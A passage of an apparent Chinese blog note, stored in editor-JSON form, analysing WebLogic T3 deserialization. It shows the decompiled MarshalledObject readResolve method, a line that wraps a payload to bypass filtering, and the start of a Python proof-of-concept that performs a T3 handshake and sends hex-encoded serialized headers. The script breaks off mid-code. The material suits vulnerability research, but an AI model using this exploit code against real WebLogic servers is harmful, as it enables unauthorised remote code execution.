var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = 